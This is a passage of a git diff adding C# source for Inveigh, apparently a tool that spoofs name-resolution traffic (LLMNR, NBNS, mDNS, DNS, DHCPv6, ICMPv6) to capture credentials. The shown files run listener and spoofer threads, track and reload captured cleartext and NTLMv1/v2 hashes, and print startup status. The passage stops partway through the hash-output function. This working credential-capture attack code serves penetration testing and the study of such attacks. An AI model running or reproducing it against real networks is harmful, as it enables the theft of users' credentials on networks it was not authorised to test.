+ foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces())
+ {
+
+ if (networkInterface.NetworkInterfaceType == NetworkInterfaceType.Ethernet && networkInterface.OperationalStatus == OperationalStatus.Up)
+ {
+
+ foreach (UnicastIPAddressInformation ip in networkInterface.GetIPProperties().UnicastAddresses)
+ {
+
+ if (ip.Address.AddressFamily == addressFamily)
+ {
+ ipAddressList.Add(ip.Address.ToString());
+ }
+
+ }
+
+ }
+
+ }
+
+ return ipAddressList.FirstOrDefault();
+ }
+
+ public static string GetLocalMACAddress(string ipAddress)
+ {
+ List<string> macAddressList = new List<string>();
+
+ foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces())
+ {
+
+ if (networkInterface.NetworkInterfaceType == NetworkInterfaceType.Ethernet && networkInterface.OperationalStatus == OperationalStatus.Up)
+ {
+
+ foreach (UnicastIPAddressInformation ip in networkInterface.GetIPProperties().UnicastAddresses)
+ {
+
+ if (ip.Address.AddressFamily == AddressFamily.InterNetworkV6 && string.Equals(ip.Address.ToString(), ipAddress))
+ {
+ macAddressList.Add(networkInterface.GetPhysicalAddress().ToString());
+ }
+
+ }
+
+ }
+
+ }
+
+ return macAddressList.FirstOrDefault();
+ }
+
+ }
+}
diff --git a/Inveigh/Support/Control.cs b/Inveigh/Support/Control.cs
new file mode 100644
index 0000000..a0e7f44
--- /dev/null
+++ b/Inveigh/Support/Control.cs
@@ -0,0 +1,480 @@
+using System;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Diagnostics;
+using System.Text.RegularExpressions;
+using System.Net;
+using System.Collections.Generic;
+using System.Text;
+using System.Globalization;
+
+namespace Inveigh
+{
+ class Control
+ {
+
+ public static void ControlLoop(string consoleLevel, int consoleQueueLimit, int consoleStatus, int runCount, int runTime)
+ {
+ Stopwatch stopwatchConsoleStatus = new Stopwatch();
+ stopwatchConsoleStatus.Start();
+ Stopwatch stopwatchRunTime = new Stopwatch();
+ stopwatchRunTime.Start();
+ bool isPromptRefresh = false;
+
+ while (Program.isRunning)
+ {
+
+ if (Program.cleartextList.Count > Program.cleartextCount)
+ {
+ Program.cleartextCount = Program.cleartextList.Count;
+ Program.isCleartextUpdated = true;
+ isPromptRefresh = true;
+ }
+
+ if (Program.ntlmv1List.Count > Program.ntlmv1Count)
+ {
+ Program.ntlmv1Count = Program.ntlmv1List.Count;
+ Program.isNTLMv1Updated = true;
+ isPromptRefresh = true;
+ }
+
+ if (Program.ntlmv2List.Count > Program.ntlmv2Count)
+ {
+ Program.ntlmv2Count = Program.ntlmv2List.Count;
+ Program.isNTLMv2Updated = true;
+ isPromptRefresh = true;
+ }
+
+ IList<string> cleartextUnique = Shell.GetUnique(Program.cleartextList, false);
+
+ if (cleartextUnique.Count > Program.cleartextUniqueCount)
+ {
+ Program.cleartextUniqueCount = cleartextUnique.Count;
+ Program.isCleartextUniqueUpdated = true;
+ isPromptRefresh = true;
+ }
+
+ if (Program.ntlmv1UniqueList.Count > Program.ntlmv1UniqueCount)
+ {
+ Program.ntlmv1UniqueCount = Program.ntlmv1UniqueList.Count;
+ Program.isNTLMv1UniqueUpdated = true;
+ isPromptRefresh = true;
+ }
+
+ if (Program.ntlmv2UniqueList.Count > Program.ntlmv2UniqueCount)
+ {
+ Program.ntlmv2UniqueCount = Program.ntlmv2UniqueList.Count;
+ Program.isNTLMv2UniqueUpdated = true;
+ isPromptRefresh = true;
+ }
+
+ if (isPromptRefresh && !Program.enabledConsoleOutput)
+ {
+ Shell.RefreshCurrentLine();
+ isPromptRefresh = false;
+ }
+ else
+ {
+ isPromptRefresh = false;
+ }
+
+ if (consoleStatus > 0 && Program.enabledConsoleOutput && stopwatchConsoleStatus.Elapsed.Minutes >= consoleStatus)
+ {
+ Shell.GetCleartextUnique("");
+ Shell.GetNTLMv1Unique("");
+ Shell.GetNTLMv1Usernames("");
+ Shell.GetNTLMv2Unique("");
+ Shell.GetNTLMv2Usernames("");
+ stopwatchConsoleStatus.Reset();
+ stopwatchConsoleStatus.Start();
+ }
+
+ if (runTime > 0 && Program.enabledConsoleOutput && stopwatchRunTime.Elapsed.Minutes >= runTime)
+ {
+ Output.Queue(String.Format("[*] {0} Inveigh is exiting due to reaching run time", Output.Timestamp()));
+ StopInveigh();
+ }
+
+ if (runCount > 0 && Program.enabledConsoleOutput && (Program.ntlmv1List.Count >= runCount || Program.ntlmv2List.Count >= runCount))
+ {
+ Output.Queue(String.Format("[*] {0} Inveigh is exiting due to reaching run count", Output.Timestamp()));
+ StopInveigh();
+ }
+
+ try
+ {
+ Output.ProcessOutput();
+ }
+ catch (Exception ex)
+ {
+ Output.Queue(String.Format("[-] [{0}] Output error detected - {1}", Output.Timestamp(), ex.ToString()));
+ }
+
+ Thread.Sleep(5);
+ }
+
+ }
+
+ public static void StopInveigh()
+ {
+ Program.consoleList.Clear();
+ Program.enabledConsoleOutput = true;
+ Output.Queue(String.Format("[+] Inveigh exited at {0}", DateTime.Now.ToString("s")));
+ Output.ProcessOutput();
+ Output.ProcessFileOutput();
+ Program.isRunning = false;
+
+ while (Program.consoleList.Count > 0)
+ {
+ Output.ConsoleOutputFormat(Program.consoleList[0]);
+ Program.consoleList.RemoveAt(0);
+ }
+
+ }
+
+ public static void ImportSession()
+ {
+
+ if (Program.enabledLogOutput && File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-Log.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-Log.txt")));
+
+ foreach (string line in file)
+ {
+ Program.logList.Add(line);
+ }
+
+ }
+
+ if (File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-Cleartext.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-Cleartext.txt")));
+
+ foreach (string line in file)
+ {
+ Program.cleartextList.Add(line);
+ }
+
+ }
+
+ if (File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv1Users.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv1Users.txt")));
+
+ foreach (string line in file)
+ {
+ Program.ntlmv1UsernameList.Add(line);
+ }
+
+ }
+
+ if (File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv2Users.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv2Users.txt")));
+
+ foreach (string line in file)
+ {
+ Program.ntlmv2UsernameList.Add(line);
+ }
+
+ }
+
+ if (File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv1.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv1.txt")));
+
+ foreach (string line in file)
+ {
+ Program.ntlmv1List.Add(line);
+ }
+
+ Program.ntlmv1UniqueList = Shell.GetUniqueNTLM(Program.ntlmv1List, Program.ntlmv1UsernameList);
+ }
+
+ if (File.Exists(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv2.txt"))))
+ {
+ Program.isSession = true;
+ string[] file = File.ReadAllLines(Path.Combine(Program.argFileDirectory, String.Concat(Program.argFilePrefix, "-NTLMv2.txt")));
+
+ foreach (string line in file)
+ {
+ Program.ntlmv2List.Add(line);
+ }
+
+ Program.ntlmv2UniqueList = Shell.GetUniqueNTLM(Program.ntlmv2List, Program.ntlmv2UsernameList);
+ }
+
+ foreach (string entry in Program.ntlmv1UsernameList)
+ {
+ string[] capture = entry.Split(',');
+
+ if (capture.Length >= 2)
+ {
+ Program.IPCaptureList.Add(capture[0]);
+ Program.HostCaptureList.Add(capture[1]);
+ }
+
+ }
+
+ foreach (string entry in Program.ntlmv2UsernameList)
+ {
+ string[] capture = entry.Split(',');
+
+ if (capture.Length >= 2)
+ {
+ Program.IPCaptureList.Add(capture[0]);
+ Program.HostCaptureList.Add(capture[1]);
+ }
+
+ }
+
+ Program.cleartextCount = Program.cleartextList.Count;
+ Program.ntlmv1Count = Program.ntlmv1List.Count;
+ Program.ntlmv2Count = Program.ntlmv2List.Count;
+ Program.cleartextUniqueCount = Shell.GetUnique(Program.cleartextList, false).Count;
+ Program.ntlmv1UniqueCount = Shell.GetUniqueNTLM(Program.ntlmv1List, Program.ntlmv1UsernameList).Count;
+ Program.ntlmv2UniqueCount = Shell.GetUniqueNTLM(Program.ntlmv2List, Program.ntlmv2UsernameList).Count;
+ }
+
+ public static void StartThreads()
+ {
+
+ if (Program.enabledSniffer)
+ {
+
+ if (Program.enabledIPv4)
+ {
+
+ if (Program.enabledDNS || Program.enabledMDNS || Program.enabledLLMNR || Program.enabledNBNS || Program.enabledSMB)
+ {
+ Thread snifferSpooferThread = new Thread(() => Sniffer.Start("IP", Program.argSnifferIP, false));
+ snifferSpooferThread.Start();
+ }
+
+ }
+
+ if (Program.enabledIPv6)
+ {
+
+ if (Program.enabledDHCPv6 || Program.enabledDNS || Program.enabledLLMNR || Program.enabledMDNS)
+ {
+ Thread snifferSpooferIPv6Thread = new Thread(() => Sniffer.Start("UDP", Program.argSnifferIPv6, true));
+ snifferSpooferIPv6Thread.Start();
+ }
+
+ if (Program.enabledSMB)
+ {
+ Thread snifferSpooferIPv6TCPThread = new Thread(() => Sniffer.Start("TCP", Program.argSnifferIPv6, true));
+ snifferSpooferIPv6TCPThread.Start();
+ }
+
+ }
+
+ }
+ else
+ {
+
+ if (Program.enabledIPv4)
+ {
+
+ if (Program.enabledDNS)
+ {
+ DNSListener dnsListener = new DNSListener(uint.Parse(Program.argDNSTTL), Program.argDNSHost);
+ Thread dnsListenerThread = new Thread(() => dnsListener.Start(IPAddress.Parse(Program.argListenerIP), Program.argSpooferIP, Program.argSpooferIPv6));
+ dnsListenerThread.Start();
+ }
+
+ if (Program.enabledLLMNR)
+ {
+ LLMNRListener llmnrListener = new LLMNRListener(uint.Parse(Program.argLLMNRTTL));
+ Thread llmnrListenerThread = new Thread(() => llmnrListener.Start(IPAddress.Parse(Program.argListenerIP), Program.argSpooferIP, Program.argSpooferIPv6));
+ llmnrListenerThread.Start();
+ }
+
+ if (Program.enabledMDNS)
+ {
+ MDNSListener mdnsListener = new MDNSListener(uint.Parse(Program.argMDNSTTL), Program.enabledMDNSUnicast);
+ Thread mdnsListenerThread = new Thread(() => mdnsListener.Start(IPAddress.Parse(Program.argListenerIP), Program.argSpooferIP, Program.argSpooferIPv6));
+ mdnsListenerThread.Start();
+ }
+
+ if (Program.enabledNBNS)
+ {
+ NBNSListener nbnsListener = new NBNSListener(uint.Parse(Program.argNBNSTTL));
+ Thread nbnsListenerThread = new Thread(() => nbnsListener.Start(IPAddress.Parse(Program.argListenerIP), Program.argSpooferIP, Program.argSpooferIPv6));
+ nbnsListenerThread.Start();
+ }
+
+ if (Program.enabledSMB)
+ {
+ SMBListener smbListener = new SMBListener();
+ Thread smbListenerThread = new Thread(() => smbListener.Start(IPAddress.Parse(Program.argListenerIP), 445));
+ smbListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledIPv6)
+ {
+
+ if (Program.enabledDHCPv6)
+ {
+ DHCPv6Listener dhcpV6Listener = new DHCPv6Listener(uint.Parse(Program.argDHCPv6TTL), Program.argDNSSuffix);
+ Thread dhcpv6ListenerThread = new Thread(() => dhcpV6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Program.argMAC, Program.argSpooferIPv6));
+ dhcpv6ListenerThread.Start();
+ }
+
+ if (Program.enabledDNS)
+ {
+ DNSListener dnsV6Listener = new DNSListener(uint.Parse(Program.argDNSTTL), Program.argDNSHost);
+ Thread dnsV6ListenerThread = new Thread(() => dnsV6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Program.argSpooferIP, Program.argSpooferIPv6));
+ dnsV6ListenerThread.Start();
+ }
+
+ if (Program.enabledLLMNR)
+ {
+ LLMNRListener llmnrV6Listener = new LLMNRListener(uint.Parse(Program.argLLMNRTTL));
+ Thread llmnrV6ListenerThread = new Thread(() => llmnrV6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Program.argSpooferIP, Program.argSpooferIPv6));
+ llmnrV6ListenerThread.Start();
+ }
+
+ if (Program.enabledMDNS)
+ {
+ MDNSListener mdnsV6Listener = new MDNSListener(uint.Parse(Program.argMDNSTTL), Program.enabledMDNSUnicast);
+ Thread mdnsV6ListenerThread = new Thread(() => mdnsV6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Program.argSpooferIP, Program.argSpooferIPv6));
+ mdnsV6ListenerThread.Start();
+ }
+
+ if (Program.enabledSMB)
+ {
+ SMBListener smbv6Listener = new SMBListener();
+ Thread smbv6ListenerThread = new Thread(() => smbv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), 445));
+ smbv6ListenerThread.Start();
+ }
+
+ }
+
+ }
+
+ if (!Program.enabledInspect)
+ {
+
+ if (Program.enabledIPv4)
+ {
+
+ if (Program.enabledHTTP)
+ {
+
+ foreach (string port in Program.argHTTPPorts)
+ {
+ HTTPListener httpListener = new HTTPListener();
+ Thread httpListenerThread = new Thread(() => httpListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(port), "HTTP"));
+ httpListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledHTTPS)
+ {
+
+ foreach (string port in Program.argHTTPSPorts)
+ {
+ HTTPListener httpsListener = new HTTPListener();
+ Thread httpsListenerThread = new Thread(() => httpsListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(port), "HTTPS"));
+ httpsListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledLDAP)
+ {
+
+ foreach (string port in Program.argLDAPPorts)
+ {
+ LDAPListener ldapListener = new LDAPListener();
+ Thread ldapListenerThread = new Thread(() => ldapListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(port)));
+ ldapListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledProxy)
+ {
+ HTTPListener proxyListener = new HTTPListener();
+ Thread proxyListenerThread = new Thread(() => proxyListener.Start(IPAddress.Parse(Program.argListenerIP), Int32.Parse(Program.argProxyPort), "Proxy"));
+ proxyListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledIPv6)
+ {
+
+
+ if (Program.enabledLDAP)
+ {
+
+ foreach (string port in Program.argLDAPPorts)
+ {
+ LDAPListener ldapv6Listener = new LDAPListener();
+ Thread ldapv6ListenerThread = new Thread(() => ldapv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Int32.Parse(port)));
+ ldapv6ListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledHTTP)
+ {
+
+ foreach (string port in Program.argHTTPPorts)
+ {
+ HTTPListener httpv6Listener = new HTTPListener();
+ Thread httpv6ListenerThread = new Thread(() => httpv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Int32.Parse(port), "HTTPv6"));
+ httpv6ListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledHTTPS)
+ {
+
+ foreach (string port in Program.argHTTPPorts)
+ {
+ HTTPListener httpsv6Listener = new HTTPListener();
+ Thread httpsv6ListenerThread = new Thread(() => httpsv6Listener.Start(IPAddress.Parse(Program.argListenerIPv6), Int32.Parse(port), "HTTPSv6"));
+ httpsv6ListenerThread.Start();
+ }
+
+ }
+
+ if (Program.enabledICMPv6) // todo check linux
+ {
+ ICMPv6Socket icmpV6Socket = new ICMPv6Socket();
+ Thread icmpv6Thread = new Thread(() => icmpV6Socket.Start());
+ icmpv6Thread.Start();
+ }
+
+ }
+
+ }
+
+ Thread controlThread = new Thread(() => ControlLoop(Program.argConsole, Program.consoleQueueLimit, Program.consoleStatus, Program.runCount, Program.runTime));
+ controlThread.Start();
+
+ if (Program.enabledFileOutput)
+ {
+ Thread fileOutputThread = new Thread(() => Output.FileOutput());
+ fileOutputThread.Start();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Support/Output.cs b/Inveigh/Support/Output.cs
new file mode 100644
index 0000000..936a5c7
--- /dev/null
+++ b/Inveigh/Support/Output.cs
@@ -0,0 +1,1488 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading;
+using System.Linq;
+using System.Diagnostics;
+using Quiddity.Support;
+
+namespace Inveigh
+{
+ class Output
+ {
+
+ public static void OutputLoop()
+ {
+ bool keyDetect = true;
+ bool keyPressed = false;
+
+ do
+ {
+
+ while (Program.enabledConsoleOutput && !keyPressed)
+ {
+
+ try
+ {
+
+ if (keyDetect && Console.KeyAvailable)
+ {
+ keyPressed = true;
+ }
+
+ }
+ catch { keyDetect = false; }
+
+ while (Program.consoleList.Count > 0)
+ {
+ ConsoleOutputFormat(Program.consoleList[0]);
+ Program.consoleList.RemoveAt(0);
+ }
+
+ if (!Program.isRunning)
+ {
+ break;
+ }
+
+ Thread.Sleep(5);
+ }
+
+ } while (Program.isRunning && Program.enabledConsoleOutput && Console.ReadKey(true).Key != ConsoleKey.Escape);
+
+ }
+
+ public static void Queue(string Output)
+ {
+
+ lock (Program.outputList)
+ {
+ Program.outputList.Add(Output);
+ }
+
+ }
+
+ public static void OutputColor(string output, string status, ConsoleColor color)
+ {
+ string[] split = output.Substring(1).Split('[');
+
+ foreach (string segment in split)
+ {
+ string[] split2 = segment.Split(']');
+
+ int i = 0;
+ foreach (string segment2 in split2)
+ {
+ int j = 0;
+ if (i % 2 == 0)
+ {
+ string[] split3 = segment2.Split('|');
+ Console.Write("[");
+
+ foreach (string segment3 in split3)
+ {
+
+ if (j !=0 && j < split3.Length)
+ {
+ Console.Write("|");
+ }
+
+ Console.ForegroundColor = color;
+ Console.Write(segment3);
+ Console.ResetColor();
+ j++;
+ }
+
+ Console.Write("]");
+ }
+ else
+ {
+
+ if (segment2.Contains("\r\n"))
+ {
+ string[] split4 = segment2.Split('\n');
+
+ if (split4.Length == 2)
+ {
+ Console.Write(split4[0] + "\n");
+ Console.ForegroundColor = color;
+ Console.Write(split4[1]);
+ Console.ResetColor();
+ }
+ else
+ {
+ Console.Write(segment2);
+ }
+
+ }
+ else
+ {
+ Console.Write(segment2);
+ }
+
+ }
+
+ i++;
+ }
+
+
+ }
+
+ Console.WriteLine();
+ }
+
+ public static void OutputCommand(string description, string[] headings, IList<string> list, ConsoleColor color)
+ {
+ Console.ForegroundColor = color;
+ int padLeft = (Console.WindowWidth - description.Length) / 2;
+ int padRight = padLeft;
+ int pad = Console.WindowWidth - description.Length - padLeft - padRight;
+ padRight += pad;
+ Console.Write(" ".PadLeft(padLeft, '='));
+ Console.ResetColor();
+ Console.Write(description);
+ Console.ForegroundColor = color;
+ Console.WriteLine(" ".PadRight(padRight, '='));
+ Console.ResetColor();
+ Console.WriteLine();
+
+ int i = 0;
+ foreach (string segment in headings)
+ {
+ if (i < 3)
+ {
+ Console.Write(segment.PadRight(34));
+ }
+ else if (i == 3)
+ {
+ Console.Write(segment);
+ }
+
+ i++;
+ }
+
+ Console.WriteLine();
+ Console.ForegroundColor = color;
+ Console.WriteLine("".PadRight(Console.WindowWidth, '='));
+ Console.ResetColor();
+
+ if (list.Count > 0)
+ {
+
+ foreach (string line in list)
+ {
+ string[] split = line.Split(',');
+ i = 0;
+
+ foreach (string segment in split)
+ {
+
+ if (i < 3)
+ {
+ Console.Write(segment.PadRight(32));
+ }
+ else if (i == 3)
+ {
+ Console.Write(segment);
+ }
+
+ if (i < split.Length - 1)
+ {
+ Console.ForegroundColor = color;
+ Console.Write("| ");
+ Console.ResetColor();
+ }
+
+ i++;
+ }
+
+ Console.WriteLine();
+ }
+
+ }
+ else
+ {
+ Console.WriteLine("No Results");
+ }
+
+ Console.WriteLine();
+ }
+
+ public static void ConsoleOutputFormat(string consoleEntry)
+ {
+
+ if (string.IsNullOrEmpty(consoleEntry))
+ {
+ consoleEntry = "";
+ }
+
+ string entryType = consoleEntry.Substring(1, 1);
+
+ if (entryType.Equals("."))
+ {
+ Console.WriteLine(consoleEntry);
+ }
+ else if (entryType.Equals("-"))
+ {
+ OutputColor(consoleEntry, "-", Program.colorNegative);
+ }
+ else if (entryType.Equals("+") || consoleEntry.Equals("[redacted]"))
+ {
+ OutputColor(consoleEntry, "+", Program.colorPositive);
+ }
+ else if (entryType.Equals("!"))
+ {
+ Console.ForegroundColor = ConsoleColor.Yellow;
+ Console.WriteLine(consoleEntry);
+ Console.ResetColor();
+ }
+ else if (entryType.Equals("?"))
+ {
+ Console.ForegroundColor = ConsoleColor.DarkRed;
+ Console.WriteLine(consoleEntry);
+ Console.ResetColor();
+ }
+ else if (entryType.Equals("*"))
+ {
+ Console.ForegroundColor = Program.colorPositive;
+ Console.WriteLine(consoleEntry);
+ Console.ResetColor();
+ }
+ else
+ {
+ Console.WriteLine(consoleEntry);
+ }
+
+ }
+
+ public static void StartupOutput()
+ {
+ string address = "Addresses";
+
+ if (!Program.enabledIPv4 || !Program.enabledIPv6)
+ {
+ address = "Address";
+ }
+
+ Queue(string.Format("[*] Inveigh {0} [Started {1} | PID {2}]", Program.version, DateTime.Now.ToString("s"), Process.GetCurrentProcess().Id)); // thanks to @mcorybillington for the pid addition
+ if (Program.enabledInspect) { Program.outputList.Add("[+] Inspect Only Mode"); }
+
+ if (Program.enabledSniffer)
+ {
+ GetStartupMessageIP(string.Concat("Packet Sniffer ", address), Program.argSnifferIP, Program.argSnifferIPv6);
+ }
+ else
+ {
+ Queue("[-] Packet Sniffer");
+ }
+
+ GetStartupMessageIP(string.Concat("Listener ", address), Program.argListenerIP, Program.argListenerIPv6);
+ GetStartupMessageIP(string.Concat("Spoofer Reply ", address), Program.argSpooferIP, Program.argSpooferIPv6);
+
+ string repeat;
+
+ if (Program.enabledRepeat)
+ {
+ repeat = "Enabled";
+ }
+ else
+ {
+ repeat = "Disabled";
+ }
+
+ string localAttacks;
+
+ if (Program.enabledLocal)
+ {
+ localAttacks = "Enabled";
+ }
+ else
+ {
+ localAttacks = "Disabled";
+ }
+
+ Queue(string.Format("[+] Spoofer Options [Repeat {0} | Local Attacks {1}]", repeat, localAttacks));
+ GetStartupMessageUDP("DHCPv6", Program.enabledDHCPv6, null, null, Program.argMAC, Program.argDNSSuffix);
+ GetStartupMessageUDP("DNS", Program.enabledDNS, Program.argDNSTypes, null, null, null);
+
+ if (Program.enabledICMPv6)
+ {
+
+ if (Program.enabledDHCPv6)
+ {
+ Queue(string.Format("[+] ICMPv6 Router Advertisement [Interval {0} Seconds]", Program.argICMPv6Interval));
+ }
+ else if (!string.IsNullOrEmpty(Program.argDNSSuffix))
+ {
+ Queue(string.Format("[+] ICMPv6 Router Advertisement [Option DNS Suffix | Interval {0} Seconds]", Program.argICMPv6Interval));
+ }
+ else
+ {
+ Queue(string.Format("[+] ICMPv6 Router Advertisement [Option DNS | Interval {0} Seconds]", Program.argICMPv6Interval)); // todo check
+ }
+
+ }
+ else
+ {
+ Queue("[-] ICMPv6");
+ }
+
+ GetStartupMessageUDP("LLMNR", Program.enabledLLMNR, Program.argLLMNRTypes, null, null, null);
+ GetStartupMessageUDP("MDNS", Program.enabledMDNS, Program.argMDNSTypes, Program.argMDNSQuestions, null, null);
+ GetStartupMessageUDP("NBNS", Program.enabledNBNS, Program.argNBNSTypes, null, null, null);
+ GetStartupMessageTCP("HTTP", Program.enabledHTTP, Program.argHTTPAuth, Program.argWPADAuth, Program.argHTTPPorts);
+ GetStartupMessageTCP("HTTPS", Program.enabledHTTPS, Program.argHTTPAuth, Program.argWPADAuth, Program.argHTTPSPorts);
+ GetStartupMessageTCP("WebDAV", Program.enabledWebDAV, Program.argWebDAVAuth, null, null);
+ GetStartupMessageTCP("Proxy", Program.enabledProxy, Program.argProxyAuth, null, new string[] { Program.argProxyPort });
+ GetStartupMessageTCP("LDAP", Program.enabledLDAP, null, null, Program.argLDAPPorts);
+ GetStartupMessageTCP("SMB", Program.enabledSMB, null, null, Program.argSMBPorts);
+ if (Program.enabledFileOutput) Queue(string.Format("[+] File Output [{0}]", Program.argFileDirectory));
+ else Queue("[-] File Output");
+ if (Program.isSession) Queue("[+] Previous Session Files [Imported]");
+ else Queue("[+] Previous Session Files (Not Found)");
+ if (Program.runCount == 1) Program.outputList.Add(string.Format("[+] Run Count [{0} Minute]", Program.runCount));
+ else if (Program.runCount > 1) Program.outputList.Add(string.Format("[+] Run Count [{0} Minutes]", Program.runCount));
+ if (Program.runTime == 1) Program.outputList.Add(string.Format("[+] Run Time [{0} Minute]", Program.runTime));
+ else if (Program.runTime > 1) Program.outputList.Add(string.Format("[+] Run Time [{0} Minutes]", Program.runTime));
+ Queue("[*] Press ESC to enter/exit interactive console");
+ }
+
+ public static void GetStartupMessageIP(string ipType, string address1, string address2)
+ {
+ string startupMessage = "";
+ string optionStatus = "-";
+
+ if (Program.enabledIPv4 && !string.IsNullOrEmpty(address1) && Program.enabledIPv6 && !string.IsNullOrEmpty(address2))
+ {
+ optionStatus = "+";
+ startupMessage = string.Format("[{0}] {1} [IP {2} | IPv6 {3}]", optionStatus, ipType, address1, address2);
+ }
+ else if (Program.enabledIPv4 && !string.IsNullOrEmpty(address1))
+ {
+ optionStatus = "+";
+ startupMessage = string.Format("[{0}] {1} [IP {2}]", optionStatus, ipType, address1);
+ }
+ else if (Program.enabledIPv6 && !string.IsNullOrEmpty(address2))
+ {
+ optionStatus = "+";
+ startupMessage = string.Format("[{0}] {1} [IPv6 {2}]", optionStatus, ipType, address2);
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1}", optionStatus, ipType);
+ }
+
+ Queue(startupMessage);
+ }
+
+ public static void GetStartupMessageUDP(string protocol, bool enabled, string[] recordTypes, string[] mdnsQuestions, string option1, string option2)
+ {
+ string startupMessage;
+ string optionType = "Listener";
+ string optionStatus = "-";
+ string types;
+ string typesHeader = "Type";
+ string questions;
+ string questionsHeader = "Question";
+
+ if (Program.enabledSniffer)
+ {
+ optionType = "Packet Sniffer";
+ }
+
+ if (!Utilities.ArrayIsNullOrEmpty(recordTypes) && recordTypes.Length > 1)
+ {
+ typesHeader = "Types";
+ }
+
+ if (!Utilities.ArrayIsNullOrEmpty(mdnsQuestions) && mdnsQuestions.Length > 1)
+ {
+ questionsHeader = "Questions";
+ }
+
+ if (enabled)
+ {
+ optionStatus = "+";
+
+ if (!Utilities.ArrayIsNullOrEmpty(mdnsQuestions) && !Utilities.ArrayIsNullOrEmpty(recordTypes))
+ {
+ types = string.Join(":", recordTypes);
+ questions = string.Join(":", mdnsQuestions);
+ startupMessage = string.Format("[{0}] {1} {2} [{3} {4} | {5} {6}]", optionStatus, protocol, optionType, questionsHeader, questions, typesHeader, types);
+ }
+ else if (!Utilities.ArrayIsNullOrEmpty(recordTypes))
+ {
+ types = string.Join(":", recordTypes);
+ startupMessage = string.Format("[{0}] {1} {2} [{3} {4}]", optionStatus, protocol, optionType, typesHeader, types);
+ }
+ else if (protocol.Equals("DHCPv6"))
+ {
+
+ if (string.IsNullOrEmpty(option2))
+ {
+ startupMessage = string.Format("[{0}] {1} {2} [MAC {3}]", optionStatus, protocol, optionType, option1);
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1} {2} [MAC {3} | DNS Suffix {4}]", optionStatus, protocol, optionType, option1, option2);
+ }
+
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1} {2}", optionStatus, protocol, optionType);
+ }
+
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1}", optionStatus, protocol);
+ }
+
+ Queue(startupMessage);
+ }
+
+ public static void GetStartupMessageTCP(string protocol, bool enabled, string auth1, string auth2, string[] ports)
+ {
+ string startupMessage = "";
+ string optionType = "Listener";
+ string optionStatus = "-";
+ string portHeading = "Port";
+
+ if (Program.enabledSniffer && protocol.StartsWith("SMB"))
+ {
+ optionType = "Packet Sniffer";
+ }
+
+ if (enabled)
+ {
+ optionStatus = "+";
+
+ if (!Utilities.ArrayIsNullOrEmpty(ports))
+ {
+
+ if (ports.Length > 1)
+ {
+ portHeading = "Ports";
+ }
+
+ if (protocol.StartsWith("HTTP"))
+ {
+ startupMessage = string.Format("[{0}] {1} {2} [HTTPAuth {3} | WPADAuth {4} | {5} {6}]", optionStatus, protocol, optionType, auth1, auth2, portHeading, string.Join(":", ports));
+ }
+ else if (protocol.StartsWith("Proxy"))
+ {
+ startupMessage = string.Format("[{0}] {1} {2} [ProxyAuth {3} | {4} {5}]", optionStatus, protocol, optionType, auth1, portHeading, string.Join(":", ports));
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1} {2} [{3} {4}]", optionStatus, protocol, optionType, portHeading, string.Join(":", ports));
+ }
+
+ }
+ else if (string.Equals(protocol, "WebDAV"))
+ {
+ startupMessage = string.Format("[{0}] {1} [WebDAVAuth {2}]", optionStatus, protocol, auth1);
+ }
+
+ }
+ else
+ {
+ startupMessage = string.Format("[{0}] {1}", optionStatus, protocol);
+ }
+
+ Queue(startupMessage);
+ }
+
+ public static void NTLMOutput(string user, string domain, string challenge, string ntlmResponse, string sourceIP, string host, string protocol, string protocolPort, string sourcePort, string lmResponse)
+ {
+ string challengeResponse;
+ bool isNTLMv2 = false;
+ bool isNULL = false;
+ string version = "NTLMv1";
+
+ if (ntlmResponse.Length > 48)
+ {
+ isNTLMv2 = true;
+ version = "NTLMv2";
+ }
+ else if (ntlmResponse.Length == 0)
+ {
+ isNULL = true;
+ }
+
+ if (isNTLMv2)
+ {
